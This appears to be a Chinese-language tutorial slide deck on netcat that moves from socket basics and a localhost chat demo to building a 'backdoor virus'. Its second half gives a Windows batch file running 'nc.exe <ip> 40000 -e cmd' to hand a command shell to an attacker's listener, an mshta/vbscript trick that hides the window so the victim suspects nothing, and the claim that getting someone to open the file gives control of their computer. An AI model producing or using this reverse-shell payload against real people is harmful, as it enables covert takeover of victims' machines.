# Netcat
---
兩台電腦溝通
ip與port→socket→互連通訊
---
socket 是什麼?
> socket是一種作業系統提供的行程間通訊機制 [name=--維基百科]
---
我們瀏覽的網頁 也是用socket 製作成的

---
今天我們要直接運用"NetCat" 這套指令
通過socket 和兩台電腦互通

---
Ubuntu 安裝方法
```
sudo apt install netcat
```
---
我們先來試試看用nc和自己聊天
---
首先開一個bash
執行
```
nc -l -p 1234
```
-l 代表 listen 哪個port
就是在哪個port 等待連線
---
然後再開一個bash
執行
```
nc 127.0.0.1 1234
```
127.0.0.1 這個ip代表自己電腦
(如果要連兩台電腦填入對方ip)
然後連結 1234 port
---
最後不管我們在哪一個bash打字
兩邊都會同步顯示(ctrl+c停止)

---
接下來我們要來做一個簡單的後門
---
我們在我們server 啟用listen
-kl 是keep listen
-v 是顯示詳細資訊
```
nc -l -p 40000
```

---
受害方
我們用記事本
建立一個windows的腳本
-e 代表 透過socket運行某個程式
```
nc.exe 127.0.0.1 40000 -e cmd
```

---
然後執行bat
我們可以在伺服器看到 被害者電腦 把自己的終端機連進來了
這時我們就可以在自己電腦上執行任意指令

---
然後我們再bat把視窗隱藏起來
```
:: 隱藏開始
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM
:: 隱藏結束 nc指令
nc.exe 127.0.0.1 40000 -e cmd
⬆️攻擊方server ip
```
---
這樣 執行後 黑色視窗就會被隱藏
受害就以為只是程式錯了
不會關閉他

---
這樣我們就完成自己的病毒了
只要讓對方點開這個檔案
你就可以控制他的電腦
{"metaMigratedAt":"2023-06-14T22:00:03.960Z","metaMigratedFrom":"YAML","title":"0306 Netcat","breaks":true,"contributors":"[{\"id\":\"07cdf4c7-4291-4f11-8793-bb5e4ec2e69d\",\"add\":1436,\"del\":20}]"}